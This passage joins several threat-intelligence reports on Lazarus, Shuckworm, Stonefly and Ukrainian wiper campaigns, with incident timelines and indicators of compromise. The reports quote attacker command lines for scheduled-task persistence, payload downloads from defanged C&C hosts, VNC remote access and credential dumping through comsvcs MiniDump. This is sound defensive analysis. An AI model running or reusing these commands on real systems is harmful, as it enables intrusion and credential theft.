downloaded from the web. The HTM file is copied to a DLL file called scskapplink.dll and injected into the legitimate system management software INISAFE Web EX Client. The scskapplink.dll file is typically a signed Trojanized tool with malicious exports added. The attackers have been observed using the following signatures: DOCTER USA, INC and "A" MEDICAL OFFICE, PLLC Next, scskapplink.dll downloads and executes an additional payload from a command-andcontrol (C&C) server with the URL parameter key/values "prd_fld=racket". This step kicks off a chain of shellcode loaders that download and execute arbitrary commands from the attackers, as well as additional malware, which are usually executed from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils library (XZ Utils). The attackers move laterally on the network using Windows Management Instrumentation (WMI) and inject into MagicLine by DreamSecurity on other machines. In some instances, the attackers were spotted dumping credentials from the registry, installing a BAT file in a likely effort to gain persistence, and using a scheduled task configured to run as a specific user. The attackers were also observed deploying post-compromise tools, including a tool used to take screenshots of web pages viewed on the compromised machine at set intervals (SiteShoter). They were also seen using an IP logging tool (IP Logger), a protocol used to turn computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File Transfer Protocol (FTP) executed under the MagicLine process. Case study The following is a case study detailing step-by-step attacker activity on an organization in the chemical sector. January 17, 2022 00:51 A malicious HTM file is received: e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm The HTM file is copied to a DLL file: rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr This DLL file is injected into the legitimate system management software INISAFE Web EX Client. The file is a signed Trojanized version of the ComparePlus plugin for Notepad++ with malicious exports added. 01:02 The file is run and downloads and executes a backdoor payload (final.cpl 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) from a command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket". The file final.cpl is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt). The malware connects to, downloads, decodes, and executes shellcode from the following remote location: hxxp[:]//happy[.]nanoace.co.kr/Content/rating/themes/krajeefas/FrmAMEISMngWeb.asp 01:04 Another CPL file (61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4) is executed. This file, again, is a Trojanized version of LZMA Utils with a malicious added export. 01:13 The shellcode loader (final.cpl) is executed again several times. 01:38 Commands are executed to dump credentials from the SAM and SYSTEM registry hives. Over the next several hours, the attackers run unknown shellcode via final.cpl at various intervals, likely to collect the dumped system hives, among other things. 06:41 The attackers create a scheduled task to ensure persistence between system reboots: schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR "cmd.exe /c C:\ProgramData\Intel\Intel.bat" /tn arm /sc MINUTE The scheduled task instructs the system to execute 'Intel.bat' as user [REDACTED].help/175287 starting at 15:42 then every minute under the scheduled task name . It's unclear if this was an account that was cracked via the dumped registry hives or an account the attackers were able to create with admin rights. The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption modules via CPL files. A clean installation of BitDefender was also installed by the attackers. While unconfirmed, the threat actors may have installed an older version of this software (from 2020) with a vulnerability that allowed attackers to run arbitrary commands remotely. January 18 00:21 The final.cpl file is executed again. 00:49 A new CPL file called wpm.cpl (942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6) is executed. CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30 This file contains, and connects to, a list of IP addresses and records whether the connections were successful. 01:11 Again, the final.cpl shellcode loader is executed multiple times, executing some unknown shellcode. This activity continued intermittently until 23:49. 23:49 The file name of the CPL file changes to 'ntuser.dat'. The file location and command-line arguments remain the same. January 19 00:24 The CPL shellcode loader files (final.cpl and ntuser.dat) are executed multiple times. 00:28 The attackers create a scheduled task on another machine, likely to ensure persistence: schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR "cmd.exe /c C:\ProgramData\Adobe\arm.bat" /tn arm /sc MINUTE The command is used to schedule a task named 'arm' to run the file 'arm.bat' starting at at 09:28 then every minute after that under the user account '[REDACTED]\i21076'. 00:29 A file named arm.dat (48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291) is executed with the following command line arguments: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5 The arm.dat file is a tool used to take screenshots of web pages viewed on the compromised machine every 10 seconds (SiteShoter), as determined by the command line arguments. The screenshots are saved in appdata\local with the date at the top of the file. 06:50 The shellcode loader (final.cpl) is executed several times. 07:34 A new CPL file named addins.cpl (5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) is executed multiple times, which again is another shellcode loader and has the same command line arguments as seen with final.cpl: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 07:39 A scheduled task is created: sc create uso start= auto binPath= cmd.exe /c start /b C:\Programdata\addins.bat DisplayName= uso The task is used to auto-start and execute addins.bat each time the system is booted. The task uses the service name 'uso' (a file name previously used in older Dream Job campaigns targeting security researchers). The attacker runs addins.cpl again to run a command to start the service and then delete the service directly after: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 sc start uso (via cmd.exe) sc delete uso The following commands were then executed to collect information pertaining to network configuration, current user the attackers are logged in as, active users on the machine, available shared drives, and the contents of the 'addins' directory. ipconfig /all whoami query user net use dir CSIDL_WINDOWS\addins 07:41 The file addins.cpl is executed again multiple times before a scheduled task is created to run addins.bat again, start the service, and immediately delete the service: sc create uso start= auto binPath= "cmd.exe /c start /b C:\Windows\addins\addins.bat" DisplayName= uso sc start uso sc delete uso January 20 The attackers execute addins.cpl again with the same command line as before. No further activity is observed. The Lazarus group is likely targeting organizations in the chemical sector to obtain intellectual property to further North Korea s own pursuits in this area. The group continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that the operation is sufficiently successful. As such, organizations should ensure they have adequate security in place and remain vigilant for attacks such as this. As always, users should be wary of clicking links or downloading files even if they come from seemingly trustworthy sources. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise SHA-256 164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8 18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef 1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976 2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f 32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f 35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3 4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3 4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce 48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291 4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c 54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0 56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283 5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db 61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4 67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607 7491f298e27eb7ce7ebbf8821527667a88eecd5f3bc5b38cd5611f7ebefde21e 79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d 7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4 8769912b9769b4c11aabc523a699d029917851822d4bc1cb6cc65b0c27d2b135 8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d 942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6 a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 bdb76c8d0afcd6b57c8f1fa644765b95375af2c3a844c286db7f60cf9ca1a22a d815fb8febaf113f3cec82f552dfec1f205071a0492f7e6a2657fa6b069648c6 e1997d1c3d84c29e02b1b7b726a0d0f889a044d7cd339f4fb88194c2c0c6606d e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba ef987baef9a1619454b14e1fec64283808d4e0ce16fb87d06049bfcf9cf56af3 f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94 f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476 Network 52.79.118.195 61.81.50.174 [URL]/[FOLDER]/[FILENAME]asp?prd_fld=racket happy.nanoace[.]co.kr hxxp://happy.nanoace[.]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp hxxps://mariamchurch[.]com/board/news/index.asp hxxps://www.aumentarelevisite[.]com/img/context/offline.php mariamchurch.com www.aumentarelevisite[.]com www.juneprint[.]com www.jungfrau[.]co.kr www.ric-camid[.]re.kr File names addins.cpl dolby.cpl ezhelp.cpl final.cpl officecert.ocx wpm.cpl Services About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. Shuckworm Continues Cyber-Espionage Attacks Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent months, Symantec s Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country. Active since at least 2013, Shuckworm specializes in cyber-espionage campaigns mainly against entities in Ukraine. The group is known to use phishing emails to distribute either freely available remote access tools, including Remote Manipulator System (RMS) and UltraVNC, or customized malware called Pterodo/Pteranodon to targets. A recent report published by The Security Service of Ukraine (SSU) noted that Shuckworm s attacks have grown in sophistication in recent times, with attackers now using living-off-the-land tools to steal credentials and move laterally on victim networks. Recent activity seen by Symantec is consistent with that documented by SSU. Shuckworm activity: Case study Symantec observed Shuckworm activity on an organization in Ukraine, which began on July 14, 2021 and continued until August 18, 2021. The attack chain began with a malicious document, likely sent via a phishing email, which was opened by the user of the infected machine. The following is a breakdown of the attackers activity on the compromised computer. July 14 At 08:48 (local-time), a suspicious Word document is opened on the machine. Just five minutes after the document is opened, a suspicious command is also executed to launch a malicious VBS file (depended.lnk). This file is a known custom backdoor leveraged by Shuckworm (aka Pterodo). wscript.exe CSIDL_PROFILE\searches\depended.lnk //e:VBScript //b The backdoor is used to download and execute CSIDL_PROFILE\searches\depended.exe (94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b) from hxxp://92.242.62.131/wordpress.php?is=[REDACTED]. Two additional VBS scripts are observed being executed via depended.exe: "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\roaming\reflect.rar //e:VBScript //b "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\deepthoughted. //e:VBScript //b A scheduled task is then created to likely ensure persistence between system reboots and to execute the dropped script. This ensures the VBS file deep-thoughted.ppt is executed every 10 minutes: SCHTASKS /CREATE /sc minute /mo 10 /tn "deep-thoughted" /tr "wscript.exe " CSIDL_COMMON_PICTURES\deep-thoughted.ppt //e:VBScript //b" /F Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions. Since mshta.exe executes outside of Internet Explorer's security context, it also bypasses browser security settings. "CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe hxxp://fiordan.ru/FILM.html /f id=[REDACTED] At the same time, a new variant of Pterodo is installed via depended.exe. Similarly to before, two additional scheduled tasks are created: "CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr "wscript.exe " CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b " /F" "CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName" /tr "wscript.exe " CSIDL_COMMON_VIDEO\webmedia.m3u //e:VBScript //b " /F" The attackers continue to install variants of their backdoor and execute commands via scripts to ensure persistence: "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\22333.docx //e:VBScript //b "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\9140.d //e:VBScript //b wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr "wscript.exe C:\Users\o.korol\AppData\Roaming\battery\battery.dat //e:VBScript //b" "CSIDL_SYSTEM\cmd.exe" /c CSIDL_PROFILE\appdata\roaming\battery\battery.cmd Directly after this, it appears the attackers test connectivity to a new C&C server via ping.exe: CSIDL_SYSTEM\cmd.exe /c ping -n 1 arianat.ru Once the connection is confirmed to be active, the attackers proceed to download another variant of their Pterodo backdoor and begin using the new C&C to download additional scripts and tools, as well as creating scheduled tasks to run every few minutes. "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\12382. //e:VBScript //b "CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7ZIP.html /f id= CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id= "CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr "wscript.exe " CSIDL_COMMON_MUSIC\mediatv.mov //e:VBScript //b " /F" "CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName" /tr "wscript.exe " CSIDL_COMMON_VIDEO\videotv.m3u //e:VBScript //b " /F" At this point, the attackers cease activity. However, we continue to see commands being executed from the scheduled tasks for the remainder of July 14. July 16 At 05:28, the attackers return, and several additional variants of Pterodo are executed via CSIDL_COMMON_VIDEO\planeta.exe (1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1). "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\32440.docx //e:VBScript //b "CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\20507.d //e:VBScript //b The attackers are then observed executing commands via planeta.exe: CSIDL_SYSTEM\cmd.exe /c ""CSIDL_PROFILE\appdata\local\temp\7zsfx000."" "" "CSIDL_SYSTEM\cmd.exe" /c ipconfig /flushdns The above flushdns command may indicate that the attackers have updated the DNS records for their C&Cs, as we observed some of their tools use hard-coded domains. In this particular instance, the flushdns command was executed shortly before the attackers attempted to install additional backdoors that leveraged the same C&C. July 28 Later, another variant ofPterodo (deep-sided.fly) was executed and was used to download and execute a new file called deerskin.exe (ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29). This file is a dropper for a VNC client. When executed, it pings google DNS (8.8.8.8) to test internet connectivity, then proceeds to drop a VNC client and establishes a connection to a remote C&C server controlled by the attackers: "%USERPROFILE%\Contacts\DriversHood.exe" -autoreconnect -id:2097 -connect mucoris.ru:5612 Two such files have been identified that perform the same actions: 1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29 This VNC client appears to be the ultimate payload for this attack. Between July 29 and August 18 activity continued whereby we observed the attackers deploying multiple variants of their custom VBS backdoor along with executing VBS scripts and creating scheduled tasks similar to the ones detailed above. After August 18, no further suspicious activity was observed on this machine. During the course of this investigation, specifically post VNC client installation, a number of documents were opened from various locations on the compromised machine. It is unclear if this was legitimate user activity or the activity of the attackers attempting to collect and exfiltrate sensitive information. Titles of the documents accessed ranged from job descriptions to sensitive information pertaining to the targeted organization. Technical descriptions Symantec investigations uncovered a total of seven files used by Shuckworm in recent attacks. All seven files are 7-zip SFX self-extracting binaries, a format used previously in Shuckworm attacks. descend.exe Upon execution, the file named descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) drops a VBS file which, in turn, drops a second VBS file in the following locations: %USERPROFILE%\Downloads\deerbrook.ppt %PUBLIC%\Pictures\deerbrook.ppt It then creates the following task: SCHTASKS /CREATE /sc minute /mo 11 /tn "deerbrook" /tr "wscript.exe '\deerbrook.ppt' //e:VBScript //b" /F The file deerbrook.ppt (b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e) VBS file contacts a command-and-control (C&C) server at deep-pitched.enarto.ru. If the C&C server is available, a HTTP POST request is sent to download a payload, which is saved in the %USERPROFILE% folder as deep-sunken.tmp then renamed to deep-sunken.exe and executed. The binary is then deleted. deep-sunken.exe Upon execution, the file deep-sunken.exe (02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200) drops the following files on the compromised computer: %APPDATA%\baby\baby.cmd %APPDATA%\baby\baby.dat %APPDATA%\baby\basement.exe (wget binary) %APPDATA%\baby\vb_baby.vbs It then creates the following task: schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr "wscript.exe [%APPDATA%]\baby\baby.dat" //e:VBScript //b It then connects to a C&C server (arianat.ru) to download another payload using wget: basement.exe --user-agent="Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64:: [VICTIM_ID]::/.beagle/." -q -b -c -t 2 "hxxp://arianat.ru/baby.php" -P " [%APPDATA%]\baby" The baby.dat file is a VBS file that executes baby.cmd, which then downloads and executes the payload from the C&C server. The vb_baby.vbs file renames the downloaded payload from baby.php to backed.exe. The downloaded payload (backed.exe) could not be retrieved. However, the following files were also obtained during our investigation: z4z05jn4.egf.exe The file z4z05jn4.egf.exe (fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0) is similar to the previous file (deep-sunken.exe) but with different folders, file names, and C&C server (iruto.ru). defiant.exe Once executed, the file defiant.exe (a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455) drops a VBS file in the following locations: %TEMP%\\deep-versed.nls %PUBLIC\Pictures\deep-versed.nls It then creates the following task: SCHTASKS /CREATE /sc minute /mo 12 /tn \"deep-versed\" /tr \"wscript.exe \" [%PUBLIC%]\\Pictures\\deep-versed.nls\" //e:VBScript //b\" /F The dropped file deep-versed.nls (817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc) downloads a payload from a C&C server (deep-toned.chehalo.ru) and saves it as deep-green.exe in the following location: %PUBLIC%\Downloads deep-green.exe The file deep-green.exe (1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f) contains an UltraVNC binary, which upon execution connects to a repeater (mucoris.ru:5612) using the following command line: -autoreconnect -id:%RANDOM% -connect mucoris.ru:5612 UltraVNC is an open-source remote-administration/remote-desktop-software utility. deep-green.exe A second file named deep-green.exe (f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa) contain a Process Explorer (procexp) binary. Process Explorer is a freeware task manager and system monitor for Microsoft Windows. deep-green.exe A third file called deep-green.exe (de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a) is similar to descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) just with different file names and C&C server (deer-lick.chehalo.ru). deep-green.exe The fourth and final file named deep-green.exe (d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7) drops a VBS file in the following location: %PUBLIC%\Music\ It then creates the following task: "/CREATE /sc minute /mo 12 /tn \"MediaConverter\" /tr \"wscript.exe \"C:\\Users\\Public\\Music\\MediaConvertor.dat\" //e:VBScript //b \" /F" The MediaConvertor.dat file searches for removable drives and creates a .lnk file with the following command: mshta.exe hxxp://PLAZMA.VIBER.ontroma.ru/PLAZMA.html /f id=January IOC patterns Analysis of the many indicators of compromise (IOCs) uncovered during our investigations have revealed the following patterns, which may be of use when defending networks from Shuckworm attacks: Most URL C&C IPs belong to the short list of hosting providers listed in the SSU report, namely AS9123 TimeWeb Ltd. (Russia). Most discovered suspected C&C URLs are IP-based URLs and use a unique URI structure: http + IP + /.php?=<1-integer>,<5-7-randalphanums> OR http + IP + /.php?=<1-integer>,<5-7-randalphanums>-<2-integers> Most suspected malicious files are found in one of a short list of directories: csidl_profile\links csidl_profile\searches CSIDL_PROFILE\appdata\local\temp\ CSIDL_PROFILE\ Nearly all the suspected malicious files are made up of a word beginning with the letter "d" and a few are composed of two words separated by a "-" (first word also starting with "d"). Examples include: deceive.exe deceived.exe deception.exe deceptive.exe decide.exe decided.exe decipher.exe decisive.exe deep-sunken.exe deep-vaulted.exe Detected command lines are simple and consist of just the binary path + name; no switches, etc. Many suspected malicious files have unknown parent process hashes, none of which have available information. According to a November 2021 report from the SSU, since 2014 the Shuckworm group has been responsible for over 5,000 attacks against more than 1,500 Ukrainian government systems. As evidenced by Symantec s recent investigations into attempted Shuckworm attacks against a number of organizations in Ukraine, this activity shows little sign of abating. The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. Stonefly: North Korea-linked Spying Operation Continues to Hit High-value Targets symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage The North Korean-linked Stonefly group is continuing to mount espionage attacks against highly specialized engineering companies with a likely goal of obtaining sensitive intellectual property. Stonefly specializes in mounting highly selective targeted attacks against targets that could yield intelligence to assist strategically important sectors such as energy, aerospace, and military equipment. Virtually all of the technologies it appears to be interested in have military as well as civilian uses and some could have applications in the development of advanced weaponry. History of ambitious attacks Stonefly (aka DarkSeoul, BlackMine, Operation Troy, and Silent Chollima) first came to notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a number of South Korean, U.S. government, and financial websites. It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an espionage element to its attacks when it was found to be using a sophisticated backdoor Trojan (Backdoor.Prioxer) against selected targets. In March 2013, the group was linked to the Jokra (Tojan.Jokra) disk-wiping attacks against a number of South Korean banks and broadcasters. Three months later, the group was involved in a string of DDoS attacks against South Korean government websites. In recent years, the group s capabilities have grown markedly and, since at least 2019 Symantec has seen its focus shift solely to espionage operations against select, high-value targets. It now appears to specialize in targeting organizations that hold classified or highly sensitive information or intellectual property. Stonefly s operations appear to be part of a broader North Korean-sponsored campaign to acquire information and intellectual property, with Operation Dream Job, a more wider-ranging trawl across multiple sectors, being carried out by another North Korean group, Pompilus. Latest target The most recent attack discovered by Symantec, a division of Broadcom Software, was against an engineering firm that works in the energy and military sectors. The attackers breached the organization in February 2022, most likely by exploiting the Log4j vulnerability (CVE-2021-44228) vulnerability on a public-facing VMware View server. The attackers then moved across the network and compromised 18 other computers. 17 hours later: Shortly after compromising the initial server, the attackers installed an updated version of Stonefly s Backdoor.Preft malware (aka Dtrack, Valefor). The attackers then used a masqueraded version (file name: pvhost.exe) of PuTTY s PSCP command line application, presumably to exfiltrate data from the infected machine. Shortly after PSCP was executed, the credential-dumping tool Mimikatz (masquerading under the file name pl.exe) was run. Day 2: Malicious activity resumed when 3proxy tiny proxy server, a publicly available proxy tool (file name: svhost.exe) was executed. Use of this tool continued for the next four days. A second suspected proxy tool was installed two days into this four day period (file name: tapi.exe). Several hours afterwards, a copy of the Preft backdoor (file name: svchost.exe) was installed. Two days later, WinSCP, an open-source SSH file-transfer tool was used, presumably to exfiltrate or upload data to the compromised computer. Day 3: The next phase of the intrusion began on the following day, when Preft was executed and the attackers began moving latterly across the organization s network, using InvokeTheHash, a publicly available PowerShell pass-the-hash utility (file name: rev.ps1), and wmiexec.py, a publicly available Impacket tool used to run WMI commands (file name: notepad.exe). Updated Preft backdoor The attackers used an updated version of Stonefly s custom Preft backdoor. Analysis of the backdoor revealed that it is a multistage tool: Stage 1 is the main binary. A python script is used to unpack the binary and shellcode. Stage 2 is shellcode. It performs the following actions: Sleeps for 19,999 seconds, probably in an attempt to evade sandbox detection Opens a mutex, with the name specified in the Stage 3 shellcode Instead of loading an executable file, it starts Internet Explorer (iexplore.exe) or explorer.exe and injects the Stage 3 shellcode into either. It sets up a named pipe ("\.\pipe\pipe") for communication. The file name of the main binary is sent over the pipe. Stage 3 is more shellcode. Stage 4 is the payload. It is an HTTP remote access tool (RAT) that supports various commands, including: 1. Download (Download a file and save locally) 2. Upload (Upload a file to a C&C server) 3. Set Interval (Change C&C server query interval - in minutes) 4. Shell Execute (Execute a command in the shell) 5. Download Plugin 6. Update (Download a new version and replace) 7. Info (Return debug information about the current infection) 8. Uninstall 9. Download Executable The malware can support four different kinds of plugins: executable files, VBS, BAT, and shellcode. It supports three different persistence modes: Startup_LNK, Service, Registry, and Task Scheduler. Custom information stealer Along with the Preft backdoor, Stonefly also deployed what appears to be a custom developed information stealer (infostealer). Analysis of this malware revealed that it is a three-staged threat. The main binary extracts and decrypts the encrypted shellcode with a modified RC4 algorithm. Stage 2 is shellcode which retrieves the payload and decrypts it with the same modified RC4 algorithm. The decrypted payload is an executable file that is loaded in-memory. It is designed to search the infected computer for files using pre-configured parameters. These are then copied to temporary files before being copied to a single .zip file and the temporary files are removed. The ZIP file path is %TEMP/~[XXXXXXXX].tmp, where XXXXXXXX is a simple hash of the computer name (eight uppercase hex digits). Curiously, this ZIP file is not automatically exfiltrated. It is possible that the exfiltration functionality was removed and the attackers planned to use an alternative means of exfiltration. High-value targets While Stonefly s tools and tactics continue to evolve, there are some common threads between this recent activity and previous attacks, such as its ongoing development of the Preft backdoor and heavy reliance on open-source tools. The group s capabilities and its narrow focus on acquiring sensitive information make it one of the most potent North Korean cyber threat actors operating today. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file. About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. Ukraine: Disk-wiping Attacks Precede Russian Invasion symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia UPDATE February 24, 2022, 13:42: This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks. A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion this morning (February 24). Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors. Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the corresponding file according to the operating system (OS) version of the infected system. Driver file names are generated using the Process ID of the wiper Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The wiper does not appear to have any additional functionality beyond its destructive capabilities. Attack chain Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and verify findings. In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23. An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers may have leveraged a Tomcat exploit in order to execute a PowerShell command. The decoded PowerShell was used to download a JPEG file from an internal server, on the victim s network. cmd.exe /Q /c powershell -c "(New-Object System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')" 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1 A minute later, the attackers created a scheduled task to execute a suspicious postgresql.exe file, weekly on a Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the task. cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1 schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess" Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time instead. Beginning on February 22, Symantec observed the file postgresql.exe being executed and used to perform the following: Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com Execute a PowerShell command to download another JPEG file from a compromised web server confluence[.]novus[.]ua Following this activity, PowerShell was used to dump credentials from the compromised machine: cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$\__1638457529.1247072 2>&1 Later, following the above activity, several unknown PowerShell scripts were executed. powershell -v 2 -exec bypass -File text.ps1 powershell -exec bypass gp.ps1 powershell -exec bypass -File link.ps1 Five minutes later, the wiper (Trojan.KillDisk) was deployed. Ransomware decoy In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used by the ransomware included client.exe, 